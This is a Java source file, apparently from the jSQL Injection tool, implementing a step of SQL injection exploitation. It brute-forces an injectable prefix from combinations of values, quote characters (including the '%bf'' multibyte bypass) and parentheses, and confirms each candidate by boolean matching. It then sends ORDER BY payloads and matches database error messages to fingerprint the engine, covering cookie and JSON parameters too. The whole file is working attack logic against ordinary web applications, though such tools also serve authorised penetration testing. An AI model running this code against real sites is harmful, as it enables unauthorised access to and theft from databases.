1 package com.jsql.model.suspendable;
2
3 import com.jsql.model.InjectionModel;
4 import com.jsql.util.CookiesUtil;
5 import com.jsql.util.JsonUtil;
6 import com.jsql.view.subscriber.Seal;
7 import com.jsql.model.exception.JSqlException;
8 import com.jsql.model.exception.StoppedByUserSlidingException;
9 import com.jsql.model.injection.strategy.blind.InjectionCharInsertion;
10 import com.jsql.model.injection.engine.MediatorEngine;
11 import com.jsql.model.injection.engine.model.Engine;
12 import com.jsql.model.suspendable.callable.CallablePageSource;
13 import com.jsql.util.I18nUtil;
14 import com.jsql.util.LogLevelUtil;
15 import org.apache.commons.lang3.RandomStringUtils;
16 import org.apache.commons.lang3.StringUtils;
17 import org.apache.logging.log4j.LogManager;
18 import org.apache.logging.log4j.Logger;
19
20 import java.util.*;
21 import java.util.concurrent.CompletionService;
22 import java.util.concurrent.ExecutionException;
23 import java.util.concurrent.ExecutorCompletionService;
24 import java.util.concurrent.ExecutorService;
25 import java.util.regex.Pattern;
26 import java.util.stream.Stream;
27
28
29
30
31
32
33
34
35
36 public class SuspendableGetCharInsertion extends AbstractSuspendable {
37
38 private static final Logger LOGGER = LogManager.getRootLogger();
39 private final String parameterOriginalValue;
40
41 public SuspendableGetCharInsertion(InjectionModel injectionModel, String parameterOriginalValue) {
42 super(injectionModel);
43 this.parameterOriginalValue = parameterOriginalValue;
44 }
45
46 @Override
47 public String run(Input input) throws JSqlException {
48 String characterInsertionByUser = input.payload();
49
50 ExecutorService taskExecutor = this.injectionModel.getMediatorUtils().threadUtil().getExecutor("CallableGetInsertionCharacter");
51 CompletionService<CallablePageSource> taskCompletionService = new ExecutorCompletionService<>(taskExecutor);
52
53 var characterInsertionFoundOrByUser = new String[1];
54 characterInsertionFoundOrByUser[0] = characterInsertionByUser;
55 List<String> charactersInsertion = this.initCallables(taskCompletionService, characterInsertionFoundOrByUser);
56
57 var mediatorEngine = this.injectionModel.getMediatorEngine();
58 LOGGER.log(LogLevelUtil.CONSOLE_DEFAULT, "[Step 3] Fingerprinting database and prefix using ORDER BY...");
59
60 String charFromOrderBy = null;
61
62 int total = charactersInsertion.size();
63 while (0 < total) {
64 if (this.isSuspended()) {
65 throw new StoppedByUserSlidingException();
66 }
67 try {
68 CallablePageSource currentCallable = taskCompletionService.take().get();
69 total--;
70 String pageSource = currentCallable.getContent();
71
72 List<Engine> enginesOrderByMatches = this.getEnginesOrderByMatch(mediatorEngine, pageSource);
73 if (!enginesOrderByMatches.isEmpty()) {
74 if (this.injectionModel.getMediatorEngine().getEngineByUser() == this.injectionModel.getMediatorEngine().getAuto()) {
75 this.setEngine(mediatorEngine, enginesOrderByMatches);
76 this.injectionModel.sendToViews(new Seal.ActivateEngine(mediatorEngine.getEngine()));
77 }
78
79 charFromOrderBy = currentCallable.getCharacterInsertion();
80 String finalCharFromOrderBy = charFromOrderBy;
81 LOGGER.log(
82 LogLevelUtil.CONSOLE_SUCCESS,
83 "Found prefix [{}] using ORDER BY and compatible with Error strategy",
84 () -> SuspendableGetCharInsertion.format(finalCharFromOrderBy)
85 );
86 break;
87 }
88 } catch (InterruptedException e) {
89 LOGGER.log(LogLevelUtil.IGNORE, e, e);
90 Thread.currentThread().interrupt();
91 } catch (ExecutionException e) {
92 LOGGER.log(LogLevelUtil.CONSOLE_JAVA, e, e);
93 }
94 }
95 this.injectionModel.getMediatorUtils().threadUtil().shutdown(taskExecutor);
96 if (charFromOrderBy == null && characterInsertionFoundOrByUser[0] != null) {
97 charFromOrderBy = characterInsertionFoundOrByUser[0];
98 }
99 return this.getCharacterInsertion(characterInsertionByUser, charFromOrderBy);
100 }
101
102 private void setEngine(MediatorEngine mediatorEngine, List<Engine> enginesOrderByMatches) {
103 if (
104 enginesOrderByMatches.size() == 1
105 && enginesOrderByMatches.getFirst() != mediatorEngine.getEngine()
106 ) {
107 mediatorEngine.setEngine(enginesOrderByMatches.getFirst());
108 } else if (enginesOrderByMatches.size() > 1) {
109 if (enginesOrderByMatches.contains(mediatorEngine.getPostgres())) {
110 mediatorEngine.setEngine(mediatorEngine.getPostgres());
111 } else if (enginesOrderByMatches.contains(mediatorEngine.getMysql())) {
112 mediatorEngine.setEngine(mediatorEngine.getMysql());
113 } else {
114 mediatorEngine.setEngine(enginesOrderByMatches.getFirst());
115 }
116 }
117 }
118
119 private List<Engine> getEnginesOrderByMatch(MediatorEngine mediatorEngine, String pageSource) {
120 return mediatorEngine.getEnginesForFingerprint()
121 .stream()
122 .filter(engine -> engine != mediatorEngine.getAuto())
123 .filter(engine -> StringUtils.isNotEmpty(
124 engine.instance().getModelYaml().getStrategy().getConfiguration().getFingerprint().getOrderByErrorMessage()
125 ))
126 .filter(engine -> {
127 Optional<String> optionalOrderByErrorMatch = Stream.of(
128 engine.instance().getModelYaml().getStrategy().getConfiguration().getFingerprint().getOrderByErrorMessage()
129 .split("[\\r\\n]+")
130 )
131 .filter(errorMessage ->
132 Pattern
133 .compile(".*" + errorMessage + ".*", Pattern.DOTALL)
134 .matcher(pageSource)
135 .matches()
136 )
137 .findAny();
138 if (optionalOrderByErrorMatch.isPresent()) {
139 LOGGER.log(
140 LogLevelUtil.CONSOLE_SUCCESS,
141 "Found [{}] using ORDER BY",
142 engine
143 );
144 }
145 return optionalOrderByErrorMatch.isPresent();
146 })
147 .toList();
148 }
149
150 private List<String> initCallables(CompletionService<CallablePageSource> taskCompletionService, String[] characterInsertionFoundOrByUser) throws JSqlException {
151 List<String> prefixValues = Arrays.asList(
152 RandomStringUtils.secure().next(10, "012"),
153 StringUtils.EMPTY,
154 "1"
155 );
156 List<String> prefixQuotes = Arrays.asList(
157 "'",
158 StringUtils.EMPTY,
159 "`",
160 "\"",
161 "%bf'"
162 );
163 List<String> prefixParentheses = Arrays.asList(
164 StringUtils.EMPTY,
165 ")",
166 "))"
167 );
168 List<String> charactersInsertion = new ArrayList<>();
169 LOGGER.log(LogLevelUtil.CONSOLE_DEFAULT, "[Step 2] Fingerprinting prefix using boolean match...");
170 boolean isFound = false;
171 for (String prefixValue: prefixValues) {
172 for (String prefixQuote: prefixQuotes) {
173 for (String prefixParenthesis: prefixParentheses) {
174 if (!isFound) {
175 var prefixValueAndQuote = prefixValue + prefixQuote;
176 var isRequiringSpace = prefixValueAndQuote.matches(".*\\w$") && prefixParenthesis.isEmpty();
177 isFound = this.checkInsertionChar(
178 characterInsertionFoundOrByUser,
179 charactersInsertion,
180 prefixValueAndQuote + prefixParenthesis
181 + (isRequiringSpace ? "%20" : StringUtils.EMPTY)
182 );
183 }
184 }
185 }
186 }
187 for (String characterInsertion: charactersInsertion) {
188 taskCompletionService.submit(
189 new CallablePageSource(
190 characterInsertion.replace(
191 InjectionModel.STAR,
192 StringUtils.SPACE
193 + this.injectionModel.getMediatorEngine().getEngine().instance().sqlOrderBy()
194 ),
195 characterInsertion,
196 this.injectionModel,
197 "prefix#orderby"
198 )
199 );
200 }
201 return charactersInsertion;
202 }
203
204 private boolean checkInsertionChar(
205 String[] characterInsertionFoundOrByUser,
206 List<String> charactersInsertion,
207 String prefixParenthesis
208 ) throws StoppedByUserSlidingException {
209 var isCookie = this.injectionModel.getMediatorMethod().getHeader() == this.injectionModel.getMediatorUtils().connectionUtil().getMethodInjection()
210 && this.injectionModel.getMediatorUtils().parameterUtil().getListHeader()
211 .stream()
212 .anyMatch(entry ->
213 CookiesUtil.COOKIE.equalsIgnoreCase(entry.getKey())
214 && entry.getValue().contains(InjectionModel.STAR)
215 );
216
217 var isJson = false;
218 if (StringUtils.isNotBlank(this.parameterOriginalValue)) {
219 Object jsonEntity = JsonUtil.getJson(this.parameterOriginalValue);
220 isJson = !JsonUtil.createEntries(jsonEntity, "root", null).isEmpty();
221 }
222
223 var isRawParamRequired = isJson || isCookie;
224
225 if (isRawParamRequired) {
226 charactersInsertion.add(characterInsertionFoundOrByUser[0].replace(
227 InjectionModel.STAR,
228 prefixParenthesis
229 + InjectionModel.STAR
230 + this.injectionModel.getMediatorEngine().getEngine().instance().endingComment()
231 ));
232 } else {
233 charactersInsertion.add(
234 prefixParenthesis
235 + InjectionModel.STAR
236 + this.injectionModel.getMediatorEngine().getEngine().instance().endingComment()
237 );
238 }
239
240 InjectionCharInsertion injectionCharInsertion;
241 if (isRawParamRequired) {
242 injectionCharInsertion = new InjectionCharInsertion(
243 this.injectionModel,
244 characterInsertionFoundOrByUser[0].replace(InjectionModel.STAR, prefixParenthesis),
245 characterInsertionFoundOrByUser[0].replace(InjectionModel.STAR, prefixParenthesis + InjectionModel.STAR)
246 );
247 } else {
248 injectionCharInsertion = new InjectionCharInsertion(
249 this.injectionModel,
250 prefixParenthesis,
251 prefixParenthesis + InjectionModel.STAR
252 + this.injectionModel.getMediatorEngine().getEngine().instance().endingComment()
253 );
254 }
255
256 if (this.isSuspended()) {
257 throw new StoppedByUserSlidingException();
258 }
259 if (injectionCharInsertion.isInjectable()) {
260 if (isRawParamRequired) {
261 characterInsertionFoundOrByUser[0] = characterInsertionFoundOrByUser[0].replace(
262 InjectionModel.STAR,
263 prefixParenthesis + InjectionModel.STAR
264 + this.injectionModel.getMediatorEngine().getEngine().instance().endingComment()
265 );
266 } else {
267 characterInsertionFoundOrByUser[0] = prefixParenthesis
268 + InjectionModel.STAR
269 + this.injectionModel.getMediatorEngine().getEngine().instance().endingComment();
270 }
271
272 LOGGER.log(
273 LogLevelUtil.CONSOLE_SUCCESS,
274 "Found [{}] using boolean match",
275 () -> SuspendableGetCharInsertion.format(characterInsertionFoundOrByUser[0])
276 );
277 return true;
278 }
279 return false;
280 }
281
282 private String getCharacterInsertion(String characterInsertionByUser, String characterInsertionDetected) {
283 String characterInsertionDetectedFixed = characterInsertionDetected;
284 if (characterInsertionDetectedFixed == null) {
285 characterInsertionDetectedFixed = characterInsertionByUser;
286 String logCharacterInsertion = characterInsertionDetectedFixed;
287 LOGGER.log(
288 LogLevelUtil.CONSOLE_ERROR,
289 "No prefix found, forcing to [{}]",
290 () -> SuspendableGetCharInsertion.format(logCharacterInsertion)
291 );
292 } else if (
293 !SuspendableGetCharInsertion.format(characterInsertionByUser).isBlank()
294 && !SuspendableGetCharInsertion.format(characterInsertionByUser).equals(
295 SuspendableGetCharInsertion.format(characterInsertionDetectedFixed)
296 )
297 ) {
298 String finalCharacterInsertionDetectedFixed = characterInsertionDetectedFixed;
299 LOGGER.log(
300 LogLevelUtil.CONSOLE_INFORM,
301 "Found prefix [{}], disable auto search in Preferences to force [{}]",
302 () -> SuspendableGetCharInsertion.format(finalCharacterInsertionDetectedFixed),
303 () -> SuspendableGetCharInsertion.format(characterInsertionByUser)
304 );
305 } else {
306 LOGGER.log(
307 LogLevelUtil.CONSOLE_INFORM,
308 "{} [{}]",
309 () -> I18nUtil.valueByKey("LOG_USING_INSERTION_CHARACTER"),
310 () -> SuspendableGetCharInsertion.format(characterInsertionDetected)
311 );
312 }
313 return characterInsertionDetectedFixed;
314 }
315
316 public static String format(String prefix) {
317 return prefix.trim().replaceAll("(%20)?"+ Pattern.quote(InjectionModel.STAR) +".*", StringUtils.EMPTY);
318 }
319 }